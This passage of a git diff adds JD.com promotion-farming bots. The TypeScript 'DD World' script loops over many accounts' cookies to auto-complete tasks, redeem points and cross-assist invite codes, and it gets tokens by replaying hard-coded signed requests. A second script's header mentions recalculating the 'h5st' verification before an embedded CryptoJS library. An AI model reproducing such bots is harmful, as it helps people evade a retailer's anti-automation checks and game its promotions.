t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_ddWorld.ts b/jd_ddWorld.ts new file mode 100644 index 0000000000..bc146ca6fc --- /dev/null +++ b/jd_ddWorld.ts @@ -0,0 +1,154 @@ +/** + * 东东世界 + * cron: 5 0,8,20 * * * + */ + +import axios from 'axios' +import USER_AGENT, {o2s, requireConfig, wait} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '', shareCodesInternal: any[] = [], UserName: string, index: number +let tokenKey: string = '', token: string = '', bearer: string = '' + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + await getIsvToken() + await getIsvToken2() + await getToken() + + res = await api('get_task') + for (let t of res.result.taskVos) { + if (t.status === 1) { + if (t.simpleRecordInfoVo) { + // 签到 + res = await api('do_task', `taskToken=${t.simpleRecordInfoVo.taskToken}&task_id=${t.taskId}&task_type=${t.taskType}`) + console.log('签到成功:', res.score) + await wait(1000) + } else { + let items: any = t.browseShopVo || t.shoppingActivityVos || t.productInfoVos || [] + for (let item of items) { + if (item.status === 1) { + let name = item.shopName || item.title || item.skuName + res = await api('do_task', `taskToken=${item.taskToken}&task_id=${t.taskId}&task_type=${t.taskType}&task_name=${encodeURIComponent(name)}`) + await wait(5000) + console.log('任务完成:', res.score) + } + } + } + if (t.taskName === '邀请好友助力') { + console.log('助力码:', t.assistTaskDetailVo.taskToken) + res = await api('get_user_info') + shareCodesInternal.push({ + taskToken: t.assistTaskDetailVo.taskToken, + inviter_id: res.openid + }) + } + } + } + + if (new Date().getHours() === 20) { + res = await api('get_exchange') + console.log(res) + for (let t of res) { + if (t.times_limit !== t.exchange_total) { + console.log('兑换', t.coins) + res = await api('do_exchange', `id=${t.id}`) + o2s(res) + await wait(2000) + } + } + } + } + + console.log('内部助力码:', shareCodesInternal) + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`${UserName}去助力${shareCodesInternal[0].taskToken}`) + res = await api('do_assist_task', `taskToken=${shareCodesInternal[0].taskToken}&inviter_id=${shareCodesInternal[0].inviter_id}`) + await wait(2000) + console.log('助力结果:', res) + if (!res) + break + } +})() + +async function api(fn: string, body: string = '') { + let headers = { + 'Host': 'ddsj-dz.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': USER_AGENT, + 'Authorization': `Bearer ${bearer}`, + 'Referer': 'https://ddsj-dz.isvjcloud.com/dd-world/', + } + if (body) { + try { + let {data} = await axios.post(`https://ddsj-dz.isvjcloud.com/dd-api/${fn}`, body, {headers}) + return data + } catch (e) { + return e.response.data + } + } else { + try { + let {data} = await axios.get(`https://ddsj-dz.isvjcloud.com/dd-api/${fn}`, {headers}) + return data + } catch (e) { + return + } + } +} + +async function getIsvToken() { + let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=genToken`, + `body=%7B%22to%22%3A%22https%3A%2F%2Fddsj-dz.isvjcloud.com%2Fdd-world%2Fload_app%2Fload_app.html%22%2C%22action%22%3A%22to%22%7D&uuid=4ccb375c539fd92bade&client=apple&clientVersion=10.0.10&st=1631884082694&sv=111&sign=1a49fd69e7d3c18cad91cc00ed40d327`, { + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'user-agent': 'JD4iPhone/167814 (iPhone; iOS 12.4.1; Scale/3.00)', + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + } + }) + tokenKey = data.tokenKey + return +} + +async function getIsvToken2() { + let {data}: any = await axios.post("https://api.m.jd.com/client.action?functionId=isvObfuscator", + `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fddsj-dz.isvjcloud.com%22%7D&uuid=5162ca82aed35fc52e8&client=apple&clientVersion=10.0.10&st=1631884203742&sv=112&sign=fd40dc1c65d20881d92afe96c4aec3d0`, { + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'user-agent': 'JD4iPhone/167814 (iPhone; iOS 12.4.1; Scale/3.00)', + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + } + }) + token = data.token + return +} + +async function getToken() { + let {data}: any = await axios.post('https://ddsj-dz.isvjcloud.com/dd-api/jd-user-info', + `token=${token}&source=01`, { + headers: { + 'Host': 'ddsj-dz.isvjcloud.com', + 'Origin': 'https://ddsj-dz.isvjcloud.com', + 'Authorization': 'Bearer undefined', + 'User-Agent': USER_AGENT, + 'Referer': 'https://ddsj-dz.isvjcloud.com', + 'Cookie': `IsvToken=${tokenKey};` + } + }) + bearer = data.access_token + return +} diff --git a/jd_dreamFactory.js b/jd_dreamFactory.js new file mode 100644 index 0000000000..0bffebe1e6 --- /dev/null +++ b/jd_dreamFactory.js @@ -0,0 +1,3561 @@ +/* +京东京喜工厂 +更新时间:2021-6-25 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂 +10 * * * * jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_dreamFactory.js,tag=京喜工厂 + +===============Surge================= +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory.js + +============小火箭========= +京喜工厂 = type=cron,script-path=jd_dreamFactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ +// prettier-ignore +;!function (a, b) { + "object" == typeof exports ? module.exports = exports = b() : "function" == typeof define && define.amd ? define([], b) : a.CryptoJS = b() +}(this, function () { + var B = B || function (p, r) { + var u = Object.create || function () { + function c() { + } + + return function (a) { + var b; + return c.prototype = a, b = new c, c.prototype = null, b + } + }(), v = {}, w = v.lib = {}, z = w.Base = function () { + return { + extend: function (a) { + var b = u(this); + return a && b.mixIn(a), b.hasOwnProperty("init") && this.init !== b.init || (b.init = function () { + b.$super.init.apply(this, arguments) + }), b.init.prototype = b, b.$super = this, b + }, create: function () { + var a = this.extend(); + return a.init.apply(a, arguments), a + }, init: function () { + }, mixIn: function (a) { + for (var b in a) a.hasOwnProperty(b) && (this[b] = a[b]); + a.hasOwnProperty("toString") && (this.toString = a.toString) + }, clone: function () { + return this.init.prototype.extend(this) + } + } + }(), x = w.WordArray = z.extend({ + init: function (a, b) { + a = this.words = a || [], b != r ? this.sigBytes = b : this.sigBytes = 4 * a.length + }, toString: function (a) { + return (a || n).stringify(this) + }, concat: function (a) { + var b = this.words, c = a.words, d = this.sigBytes, e = a.sigBytes; + if (this.clamp(), d % 4) for (var f = 0; f < e; f++) { + var h = c[f >>> 2] >>> 24 - f % 4 * 8 & 255; + b[d + f >>> 2] |= h << 24 - (d + f) % 4 * 8 + } else for (var f = 0; f < e; f += 4) b[d + f >>> 2] = c[f >>> 2]; + return this.sigBytes += e, this + }, clamp: function () { + var a = this.words, b = this.sigBytes; + a[b >>> 2] &= 4294967295 << 32 - b % 4 * 8, a.length = p.ceil(b / 4) + }, clone: function () { + var a = z.clone.call(this); + return a.words = this.words.slice(0), a + }, random: function (e) { + for (var f, h = [], g = function (b) { + var b = b, c = 987654321, d = 4294967295; + return function () { + c = 36969 * (65535 & c) + (c >> 16) & d, b = 18e3 * (65535 & b) + (b >> 16) & d; + var a = (c << 16) + b & d; + return a /= 4294967296, a += .5, a * (p.random() > .5 ? 1 : -1) + } + }, i = 0; i < e; i += 4) { + var k = g(4294967296 * (f || p.random())); + f = 987654071 * k(), h.push(4294967296 * k() | 0) + } + return new x.init(h, e) + } + }), y = v.enc = {}, n = y.Hex = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e++) { + var f = b[e >>> 2] >>> 24 - e % 4 * 8 & 255; + d.push((f >>> 4).toString(16)), d.push((15 & f).toString(16)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d += 2) c[d >>> 3] |= parseInt(a.substr(d, 2), 16) << 24 - d % 8 * 4; + return new x.init(c, b / 2) + } + }, F = y.Latin1 = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e++) { + var f = b[e >>> 2] >>> 24 - e % 4 * 8 & 255; + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 2] |= (255 & a.charCodeAt(d)) << 24 - d % 4 * 8; + return new x.init(c, b) + } + }, G = y.Utf8 = { + stringify: function (a) { + try { + return decodeURIComponent(escape(F.stringify(a))) + } catch (a) { + throw new Error("Malformed UTF-8 data") + } + }, parse: function (a) { + return F.parse(unescape(encodeURIComponent(a))) + } + }, j = w.BufferedBlockAlgorithm = z.extend({ + reset: function () { + this._data = new x.init, this._nDataBytes = 0 + }, _append: function (a) { + "string" == typeof a && (a = G.parse(a)), this._data.concat(a), this._nDataBytes += a.sigBytes + }, _process: function (a) { + var b = this._data, c = b.words, d = b.sigBytes, e = this.blockSize, f = 4 * e, h = d / f; + h = a ? p.ceil(h) : p.max((0 | h) - this._minBufferSize, 0); + var g = h * e, i = p.min(4 * g, d); + if (g) { + for (var k = 0; k < g; k += e) this._doProcessBlock(c, k); + var m = c.splice(0, g); + b.sigBytes -= i + } + return new x.init(m, i) + }, clone: function () { + var a = z.clone.call(this); + return a._data = this._data.clone(), a + }, _minBufferSize: 0 + }), l = (w.Hasher = j.extend({ + cfg: z.extend(), init: function (a) { + this.cfg = this.cfg.extend(a), this.reset() + }, reset: function () { + j.reset.call(this), this._doReset() + }, update: function (a) { + return this._append(a), this._process(), this + }, finalize: function (a) { + a && this._append(a); + var b = this._doFinalize(); + return b + }, blockSize: 16, _createHelper: function (c) { + return function (a, b) { + return new c.init(b).finalize(a) + } + }, _createHmacHelper: function (c) { + return function (a, b) { + return new l.HMAC.init(c, b).finalize(a) + } + } + }), v.algo = {}); + return v + }(Math); + return function () { + function r(a, b, c) { + for (var d = [], e = 0, f = 0; f < b; f++) if (f % 4) { + var h = c[a.charCodeAt(f - 1)] << f % 4 * 2, g = c[a.charCodeAt(f)] >>> 6 - f % 4 * 2; + d[e >>> 2] |= (h | g) << 24 - e % 4 * 8, e++ + } + return w.create(d, e) + } + + var u = B, v = u.lib, w = v.WordArray, z = u.enc; + z.Base64 = { + stringify: function (a) { + var b = a.words, c = a.sigBytes, d = this._map; + a.clamp(); + for (var e = [], f = 0; f < c; f += 3) for (var h = b[f >>> 2] >>> 24 - f % 4 * 8 & 255, g = b[f + 1 >>> 2] >>> 24 - (f + 1) % 4 * 8 & 255, i = b[f + 2 >>> 2] >>> 24 - (f + 2) % 4 * 8 & 255, k = h << 16 | g << 8 | i, m = 0; m < 4 && f + .75 * m < c; m++) e.push(d.charAt(k >>> 6 * (3 - m) & 63)); + var p = d.charAt(64); + if (p) for (; e.length % 4;) e.push(p); + return e.join("") + }, parse: function (a) { + var b = a.length, c = this._map, d = this._reverseMap; + if (!d) { + d = this._reverseMap = []; + for (var e = 0; e < c.length; e++) d[c.charCodeAt(e)] = e + } + var f = c.charAt(64); + if (f) { + var h = a.indexOf(f); + h !== -1 && (b = h) + } + return r(a, b, d) + }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" + } + }(), function (H) { + function C(a, b, c, d, e, f, h) { + var g = a + (b & c | ~b & d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function D(a, b, c, d, e, f, h) { + var g = a + (b & d | c & ~d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function E(a, b, c, d, e, f, h) { + var g = a + (b ^ c ^ d) + e + h; + return (g << f | g >>> 32 - f) + b + } + + function A(a, b, c, d, e, f, h) { + var g = a + (c ^ (b | ~d)) + e + h; + return (g << f | g >>> 32 - f) + b + } + + var I = B, J = I.lib, L = J.WordArray, N = J.Hasher, K = I.algo, s = []; + !function () { + for (var a = 0; a < 64; a++) s[a] = 4294967296 * H.abs(H.sin(a + 1)) | 0 + }(); + var P = K.MD5 = N.extend({ + _doReset: function () { + this._hash = new L.init([1732584193, 4023233417, 2562383102, 271733878]) + }, _doProcessBlock: function (a, b) { + for (var c = 0; c < 16; c++) { + var d = b + c, e = a[d]; + a[d] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8) + } + var f = this._hash.words, h = a[b + 0], g = a[b + 1], i = a[b + 2], k = a[b + 3], m = a[b + 4], p = a[b + 5], + r = a[b + 6], u = a[b + 7], v = a[b + 8], w = a[b + 9], z = a[b + 10], x = a[b + 11], y = a[b + 12], + n = a[b + 13], F = a[b + 14], G = a[b + 15], j = f[0], l = f[1], o = f[2], q = f[3]; + j = C(j, l, o, q, h, 7, s[0]), q = C(q, j, l, o, g, 12, s[1]), o = C(o, q, j, l, i, 17, s[2]), l = C(l, o, q, j, k, 22, s[3]), j = C(j, l, o, q, m, 7, s[4]), q = C(q, j, l, o, p, 12, s[5]), o = C(o, q, j, l, r, 17, s[6]), l = C(l, o, q, j, u, 22, s[7]), j = C(j, l, o, q, v, 7, s[8]), q = C(q, j, l, o, w, 12, s[9]), o = C(o, q, j, l, z, 17, s[10]), l = C(l, o, q, j, x, 22, s[11]), j = C(j, l, o, q, y, 7, s[12]), q = C(q, j, l, o, n, 12, s[13]), o = C(o, q, j, l, F, 17, s[14]), l = C(l, o, q, j, G, 22, s[15]), j = D(j, l, o, q, g, 5, s[16]), q = D(q, j, l, o, r, 9, s[17]), o = D(o, q, j, l, x, 14, s[18]), l = D(l, o, q, j, h, 20, s[19]), j = D(j, l, o, q, p, 5, s[20]), q = D(q, j, l, o, z, 9, s[21]), o = D(o, q, j, l, G, 14, s[22]), l = D(l, o, q, j, m, 20, s[23]), j = D(j, l, o, q, w, 5, s[24]), q = D(q, j, l, o, F, 9, s[25]), o = D(o, q, j, l, k, 14, s[26]), l = D(l, o, q, j, v, 20, s[27]), j = D(j, l, o, q, n, 5, s[28]), q = D(q, j, l, o, i, 9, s[29]), o = D(o, q, j, l, u, 14, s[30]), l = D(l, o, q, j, y, 20, s[31]), j = E(j, l, o, q, p, 4, s[32]), q = E(q, j, l, o, v, 11, s[33]), o = E(o, q, j, l, x, 16, s[34]), l = E(l, o, q, j, F, 23, s[35]), j = E(j, l, o, q, g, 4, s[36]), q = E(q, j, l, o, m, 11, s[37]), o = E(o, q, j, l, u, 16, s[38]), l = E(l, o, q, j, z, 23, s[39]), j = E(j, l, o, q, n, 4, s[40]), q = E(q, j, l, o, h, 11, s[41]), o = E(o, q, j, l, k, 16, s[42]), l = E(l, o, q, j, r, 23, s[43]), j = E(j, l, o, q, w, 4, s[44]), q = E(q, j, l, o, y, 11, s[45]), o = E(o, q, j, l, G, 16, s[46]), l = E(l, o, q, j, i, 23, s[47]), j = A(j, l, o, q, h, 6, s[48]), q = A(q, j, l, o, u, 10, s[49]), o = A(o, q, j, l, F, 15, s[50]), l = A(l, o, q, j, p, 21, s[51]), j = A(j, l, o, q, y, 6, s[52]), q = A(q, j, l, o, k, 10, s[53]), o = A(o, q, j, l, z, 15, s[54]), l = A(l, o, q, j, g, 21, s[55]), j = A(j, l, o, q, v, 6, s[56]), q = A(q, j, l, o, G, 10, s[57]), o = A(o, q, j, l, r, 15, s[58]), l = A(l, o, q, j, n, 21, s[59]), j = A(j, l, o, q, m, 6, s[60]), q = A(q, j, l, o, x, 10, s[61]), o = A(o, q, j, l, i, 15, s[62]), l = A(l, o, q, j, w, 21, s[63]), f[0] = f[0] + j | 0, f[1] = f[1] + l | 0, f[2] = f[2] + o | 0, f[3] = f[3] + q | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32; + var e = H.floor(c / 4294967296), f = c; + b[(d + 64 >>> 9 << 4) + 15] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), b[(d + 64 >>> 9 << 4) + 14] = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), a.sigBytes = 4 * (b.length + 1), this._process(); + for (var h = this._hash, g = h.words, i = 0; i < 4; i++) { + var k = g[i]; + g[i] = 16711935 & (k << 8 | k >>> 24) | 4278255360 & (k << 24 | k >>> 8) + } + return h + }, clone: function () { + var a = N.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + I.MD5 = N._createHelper(P), I.HmacMD5 = N._createHmacHelper(P) + }(Math), function () { + var p = B, r = p.lib, u = r.WordArray, v = r.Hasher, w = p.algo, z = [], x = w.SHA1 = v.extend({ + _doReset: function () { + this._hash = new u.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = 0; i < 80; i++) { + if (i < 16) z[i] = 0 | a[b + i]; else { + var k = z[i - 3] ^ z[i - 8] ^ z[i - 14] ^ z[i - 16]; + z[i] = k << 1 | k >>> 31 + } + var m = (d << 5 | d >>> 27) + g + z[i]; + m += i < 20 ? (e & f | ~e & h) + 1518500249 : i < 40 ? (e ^ f ^ h) + 1859775393 : i < 60 ? (e & f | e & h | f & h) - 1894007588 : (e ^ f ^ h) - 899497514, g = h, h = f, f = e << 30 | e >>> 2, e = d, d = m + } + c[0] = c[0] + d | 0, c[1] = c[1] + e | 0, c[2] = c[2] + f | 0, c[3] = c[3] + h | 0, c[4] = c[4] + g | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + return b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = Math.floor(c / 4294967296), b[(d + 64 >>> 9 << 4) + 15] = c, a.sigBytes = 4 * b.length, this._process(), this._hash + }, clone: function () { + var a = v.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + p.SHA1 = v._createHelper(x), p.HmacSHA1 = v._createHmacHelper(x) + }(), function (j) { + var l = B, o = l.lib, q = o.WordArray, H = o.Hasher, C = l.algo, D = [], E = []; + !function () { + function d(a) { + for (var b = j.sqrt(a), c = 2; c <= b; c++) if (!(a % c)) return !1; + return !0 + } + + function e(a) { + return 4294967296 * (a - (0 | a)) | 0 + } + + for (var f = 2, h = 0; h < 64;) d(f) && (h < 8 && (D[h] = e(j.pow(f, .5))), E[h] = e(j.pow(f, 1 / 3)), h++), f++ + }(); + var A = [], I = C.SHA256 = H.extend({ + _doReset: function () { + this._hash = new q.init(D.slice(0)) + }, _doProcessBlock: function (a, b) { + for (var c = this._hash.words, d = c[0], e = c[1], f = c[2], h = c[3], g = c[4], i = c[5], k = c[6], m = c[7], p = 0; p < 64; p++) { + if (p < 16) A[p] = 0 | a[b + p]; else { + var r = A[p - 15], u = (r << 25 | r >>> 7) ^ (r << 14 | r >>> 18) ^ r >>> 3, v = A[p - 2], + w = (v << 15 | v >>> 17) ^ (v << 13 | v >>> 19) ^ v >>> 10; + A[p] = u + A[p - 7] + w + A[p - 16] + } + var z = g & i ^ ~g & k, x = d & e ^ d & f ^ e & f, + y = (d << 30 | d >>> 2) ^ (d << 19 | d >>> 13) ^ (d << 10 | d >>> 22), + n = (g << 26 | g >>> 6) ^ (g << 21 | g >>> 11) ^ (g << 7 | g >>> 25), F = m + n + z + E[p] + A[p], + G = y + x; + m = k, k = i, i = g, g = h + F | 0, h = f, f = e, e = d, d = F + G | 0 + } + c[0] = c[0] + d | 0, c[1] = c[1] + e | 0, c[2] = c[2] + f | 0, c[3] = c[3] + h | 0, c[4] = c[4] + g | 0, c[5] = c[5] + i | 0, c[6] = c[6] + k | 0, c[7] = c[7] + m | 0 + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + return b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 64 >>> 9 << 4) + 14] = j.floor(c / 4294967296), b[(d + 64 >>> 9 << 4) + 15] = c, a.sigBytes = 4 * b.length, this._process(), this._hash + }, clone: function () { + var a = H.clone.call(this); + return a._hash = this._hash.clone(), a + } + }); + l.SHA256 = H._createHelper(I), l.HmacSHA256 = H._createHmacHelper(I) + }(Math), function () { + function h(a) { + return a << 8 & 4278255360 | a >>> 8 & 16711935 + } + + var g = B, i = g.lib, k = i.WordArray, m = g.enc; + m.Utf16 = m.Utf16BE = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e += 2) { + var f = b[e >>> 2] >>> 16 - e % 4 * 8 & 65535; + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 1] |= a.charCodeAt(d) << 16 - d % 2 * 16; + return k.create(c, 2 * b) + } + }; + m.Utf16LE = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e += 2) { + var f = h(b[e >>> 2] >>> 16 - e % 4 * 8 & 65535); + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 1] |= h(a.charCodeAt(d) << 16 - d % 2 * 16); + return k.create(c, 2 * b) + } + } + }(), function () { + if ("function" == typeof ArrayBuffer) { + var e = B, f = e.lib, h = f.WordArray, g = h.init, i = h.init = function (a) { + if (a instanceof ArrayBuffer && (a = new Uint8Array(a)), (a instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && a instanceof Uint8ClampedArray || a instanceof Int16Array || a instanceof Uint16Array || a instanceof Int32Array || a instanceof Uint32Array || a instanceof Float32Array || a instanceof Float64Array) && (a = new Uint8Array(a.buffer, a.byteOffset, a.byteLength)), a instanceof Uint8Array) { + for (var b = a.byteLength, c = [], d = 0; d < b; d++) c[d >>> 2] |= a[d] << 24 - d % 4 * 8; + g.call(this, c, b) + } else g.apply(this, arguments) + }; + i.prototype = h + } + }(), function (l) { + function o(a, b, c) { + return a ^ b ^ c + } + + function q(a, b, c) { + return a & b | ~a & c + } + + function H(a, b, c) { + return (a | ~b) ^ c + } + + function C(a, b, c) { + return a & c | b & ~c + } + + function D(a, b, c) { + return a ^ (b | ~c) + } + + function E(a, b) { + return a << b | a >>> 32 - b + } + + var A = B, I = A.lib, J = I.WordArray, L = I.Hasher, N = A.algo, + K = J.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), + s = J.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), + P = J.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), + S = J.create([8, 9, 9, 